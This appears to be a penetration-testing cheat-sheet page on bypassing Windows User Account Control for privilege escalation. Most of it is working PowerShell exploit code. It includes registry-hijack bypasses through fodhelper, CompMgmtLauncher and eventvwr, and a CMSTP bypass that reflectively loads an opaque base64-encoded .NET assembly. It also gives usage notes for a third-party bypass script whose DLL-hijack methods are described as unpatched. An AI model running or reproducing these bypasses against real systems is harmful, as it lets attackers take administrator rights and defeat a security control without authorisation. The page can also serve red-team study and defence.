.. / priv-esc_win_uac-bypass
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Privilege Escalation

Privilege Escalation

It can help to gain a higher permission access level.

Bypass the Windows User Access Controal (UAC)


function UAC-FodhelperBypass(){ 

Param (    
 
 [String]$command = ""
 
      )
 
#Create registry structure
 
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command -Force
 
#Perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Get-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
#Remove registry structure
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
 
}




function UAC-CMSTPBypass() {
    Param(
        [String]$command = ""
    )
    if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
    {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBF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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}



  function UAC-CompMgmtLauncherBypass {


      [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
      Param (
          [Parameter(Mandatory = $True)]
          [ValidateNotNullOrEmpty()]
          [String]
          $command,

          [Switch]
          $Force
      )

      $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
      #Add in the new registry entries to hijack the msc file
      if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
          New-Item $mscCommandPath -Force |
              New-ItemProperty -Name '(Default)' -Value $command -PropertyType string -Force | Out-Null
      }else{
          Write-Verbose "Key already exists, consider using -Force"
          exit
      }

      if (Test-Path $mscCommandPath) {
          Write-Verbose "Created registry entries to hijack the msc extension"
      }else{
          Write-Warning "Failed to create registry key, exiting"
          exit
      }
      

      $CompMgmtLauncherPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'CompMgmtLauncher.exe'

      #Start Event Viewer
      if ($PSCmdlet.ShouldProcess($CompMgmtLauncherPath, 'Start process')) {
          $Process = Start-Process -FilePath $CompMgmtLauncherPath -PassThru
          Write-Verbose "Started CompMgmtLauncher.exe"
      }

      #Sleep 5 seconds 
      Write-Verbose "Sleeping 5 seconds to trigger payload"
      if (-not $PSBoundParameters['WhatIf']) {
          Start-Sleep -Seconds 5
      }

      $mscfilePath = "HKCU:\Software\Classes\mscfile"

      if (Test-Path $mscfilePath) {
          #Remove the registry entry
          Remove-Item $mscfilePath -Recurse -Force
          Write-Verbose "Removed registry entries"
      }

      if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
          Stop-Process -Id $Process.Id
          Write-Verboe "Killed running CompMgmtLauncher process"
      }
  }


  function UAC-EventVwrBypass {
      [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
      Param (
          [Parameter(Mandatory = $True)]
          [ValidateNotNullOrEmpty()]
          [String]
          $command,

          [Switch]
          $Force
      )
      $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
      $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop

      if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
          "UAC is set to 'Always Notify'. This module does not bypass this setting."
          exit
      }
      else{
          #Begin Execution
          $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
          $Command = $pshome + '\' + $Command
          #Add in the new registry entries to hijack the msc file
          if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
              New-Item $mscCommandPath -Force |
                  New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
          }else{
              Write-Warning "Key already exists, consider using -Force"
              exit
          }

          if (Test-Path $mscCommandPath) {
              Write-Verbose "Created registry entries to hijack the msc extension"
          }else{
              Write-Warning "Failed to create registry key, exiting"
              exit
          }

          $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
          #Start Event Viewer
          if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
              $Process = Start-Process -FilePath $EventvwrPath -PassThru
              Write-Verbose "Started eventvwr.exe"
          }

          #Sleep 5 seconds 
          Write-Verbose "Sleeping 5 seconds to trigger payload"
          if (-not $PSBoundParameters['WhatIf']) {
              Start-Sleep -Seconds 5
          }

          $mscfilePath = "HKCU:\Software\Classes\mscfile"

          if (Test-Path $mscfilePath) {
              #Remove the registry entry
              Remove-Item $mscfilePath -Recurse -Force
              Write-Verbose "Removed registry entries"
          }

          if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
              Stop-Process -Id $Process.Id
              Write-Verbose "Killed running eventvwr process"
          }
      }
  }

Bypass the Windows User Access Controal (UAC) Script


. .\Bypass-UAC.ps1
Bypass-UAC -Method UacMethodSysprep
--UacMethodSysprep: Original technique by Leo Davidson (sysprep -> cryptbase.dll) 
  --Targets: x32/x64 Windows 7 & 8 
--ucmDismMethod: Hybrid method (PkgMgr -> DISM -> dismcore.dll) 
  --Targets: x64 Win7+ (currently unpatched) 
--UacMethodMMC2: Hybrid method (mmc -> rsop.msc -> wbemcomn.dll) 
  --Targets: x64 Win7+ (currently unpatched) 
--UacMethodTcmsetup: Hybrid method (tcmsetup -> tcmsetup.exe.local -> comctl32.dll) 
  --Targets: x32/x64 Win7+ (UAC "0day" ¯\_(ツ)_/¯) 
--UacMethodNetOle32: Hybrid method (mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll) 
  --Targets: x32/x64 Win7+ (UAC "0day" ¯\_(ツ)_/¯)

https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC

Resources

https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
http://www.fuzzysecurity.com/tutorials/27.html
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC

.. / priv-esc_win_uac-bypass Star

Privilege Escalation

Resources

.. / priv-esc_win_uac-bypass
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